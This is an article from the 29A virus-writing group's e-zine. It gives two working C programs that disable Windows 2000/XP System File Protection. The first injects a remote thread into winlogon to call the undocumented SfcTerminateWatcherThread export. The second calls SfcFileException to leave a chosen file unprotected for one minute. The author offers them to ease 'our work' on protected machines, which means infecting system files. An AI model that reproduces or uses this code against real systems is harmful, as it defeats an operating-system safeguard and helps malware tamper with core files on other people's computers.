.SFP revisited.
                             .by Ratter/29A.

.Intro.
SFP again?you probably say reading the title of this article. Well
because i found two nice ways to get rid of this i will bother you
once more with it :-)


.Method #1 - The compatible one.
This is the very compatible method i found reversing some Microsoft
utitities. It is used by them to let them modify the protected files.
So here is how it works:

It uses an undocumented export from sfc.dll #2 which name is
SfcTerminateWatcherThread. It does exactly what it says :-) It
terminates the Watcher Thread ie the thread that handles the
directory change notifications. So we will call this function in the
context of winlogon thus disabling the SFP on the box. I wrote an
article about infecting winlogon so just to remember: first you need
to adjust privileges, enable SeDebugPrivilege. This can be 
done only from administrator account or under an account that has
SeDebugPrivilege assigned to it. The rest is just invoking function
in remote thread, read the code.

This method works on Win2k, WinXP and i bet it will work on W2k3 but
currently don't have access to this so haven't tested. If you do, pls 
test it and let me know.

Btw you maybe ask, how it is possible that this works on XP boxes
also when sfc.dll no longer handles the SFP? Well #2 export from
sfc.dll is redirected to sfc_os.dll :-)

---- beginning of sfc_disable.c ----
#include <windows.h>
#include <assert.h>
#include <stdio.h>

#pragma check_stack (off)

DWORD thread_func (FARPROC sfc_terminate)
{
   sfc_terminate();
   return 0;
}

void after_thread_func(void)
{
}
#pragma check_stack 

int adjust_privileges(void)
{
  HANDLE token_handle;
  int ret=0;

  if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token_handle))
  {
    LUID luid;
    if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid))
    {
      TOKEN_PRIVILEGES tk_priv;

      tk_priv.PrivilegeCount=1;
      tk_priv.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
      tk_priv.Privileges[0].Luid=luid;

      if(AdjustTokenPrivileges(token_handle,
                               FALSE,
                               &tk_priv,
                               0,
                               NULL,
                               NULL)) ret=1;
    }
    CloseHandle(token_handle);
  }
  return ret;
}

void main(int argc, char **argv)
{
  HANDLE remote_thread;

  if(argc!=2)
  {
    printf("Usage: sfc_disable <winlogon_pid>\n");
    exit(0);
  }

  DWORD wpid=atoi(argv[1]);
  assert(wpid);

  HMODULE sfc=LoadLibrary("sfc.dll");
  assert(sfc);

  FARPROC sfc_terminate=GetProcAddress(sfc, (char *) 2);
  assert(sfc_terminate);

  assert(adjust_privileges());

  HANDLE process=OpenProcess(PROCESS_ALL_ACCESS, FALSE, wpid);
  if(!process)
  {
    printf("Error while opening process\n");
    exit(0);
  }

  LPVOID remote_mem=VirtualAllocEx(process,
                                   NULL,
                                   (SIZE_T) ((char *)after_thread_func-(char *)thread_func),
                                   MEM_COMMIT,
                                   PAGE_READWRITE);
  if(!remote_mem)
  {
    printf("Error while commiting memory in the remote process\n");
    goto clean_up;
  }

  if(!WriteProcessMemory(process,
                         remote_mem,
                         (char *) thread_func,
                         (SIZE_T) ((char *)after_thread_func-(char *)thread_func),
                         (SIZE_T *) 0))
  {
    printf("Error %d while writing to the remote process\n", GetLastError());
    goto clean_up;
  }

  remote_thread=CreateRemoteThread(process,
                                   NULL,
                                   0,
                                   (LPTHREAD_START_ROUTINE) remote_mem,
                                   // (LPTHREAD_START_ROUTINE) sfc_terminate
                                   (LPVOID) sfc_terminate,
                                   0,
                                   NULL);
  if(!remote_thread)
  {
    printf("Error while creating remote thread in the process\n");
    goto clean_up;
  }
                                          
  if(WaitForSingleObject(remote_thread, 10*1000)==WAIT_TIMEOUT)
    printf("Timeout occured while waiting for the remote thread\n");

  CloseHandle(remote_thread);

clean_up:
  if(remote_mem) VirtualFreeEx(process, remote_mem, 0, MEM_RELEASE);
  CloseHandle(process);
}
---- end of sfc_disable.c ----


.Method #2 - The nice one.
This method is the nicest one from all i'm currently aware of. It is
XP only (maybe W2k3??) and it's more or less some kind of a backdoor
of Microsoft :-) Where's the point?

When i was looking for changes in WinXP implementation of the system
file protection first i of course found, that SFP is now not in
sfc.dll but rather in sfc_os.dll so i fired up IDA and started to
look around the code. It didn't took so much time when i found it. In 
XP's implementation of SFP there exists a facility to disable SFP on
file basis for one minute. Don't you trust me? Then test it :-)

---- beginning of sfp_exc.c ----
#include <windows.h>
#include <assert.h>
#include <stdio.h>

typedef DWORD (* SFPEXC)(DWORD, wchar_t *, DWORD);

void wmain(int argc, wchar_t **argv)
{
  HMODULE sfc_os;
  SFPEXC sfp_exc;

  assert(argc==2);
  assert(sfc_os=LoadLibrary("sfc_os.dll"));
  assert(sfp_exc=(SFPEXC) GetProcAddress(sfc_os, (char *) 5));

  assert(!sfp_exc(0, argv[1], -1));
  wprintf(L"File %s should now be unprotected for 1 minute", argv[1]);
}
---- end of sfp_exc.c ----

For this method you have to use administrator account since the code
explicitly checks for it. It uses an undocumented export #5 named
SfcFileException that again does what the name says :-) It first
looks whether the file is protected and if it is, it assigns a flag
to it. Now when the watcher thread is invoked because of
replacement/modification/deletion of the protected file it first
checks, whether the file should be exceptioned. If it should, then it 
tests whether the exemption fits into one minute interval. If it does 
than voila it does nothing but goes on :-)


.Closing.
Hopefully these two little progs i showed you in this article will
make our work on SFP protected boxes more pleasant than it currently
is. And of course - if you have any ideas/suggestions, write me.

btw - watch the file size ;-)

--
Ratter/29A - I'm a stranger in the world I haven't made.